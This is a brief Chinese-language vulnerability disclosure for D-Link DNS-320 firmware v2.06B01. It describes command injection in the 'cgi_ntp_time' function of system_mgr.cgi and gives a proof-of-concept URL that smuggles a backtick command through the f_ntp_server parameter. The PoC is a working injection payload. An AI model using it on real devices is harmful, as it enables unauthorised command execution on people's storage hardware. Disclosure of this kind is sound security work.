固件版本为v2.06B01（ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DNS-320/REVA/DNS-320_REVA_FIRMWARE_v2.06B01.zip）
'cgi_ntp_time'函数中存在命令注入。'v6'的值与“（sntp-r％s> / dev / null”）拼接，然后传递到系统中执行
PoC：
/cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`id`
ref：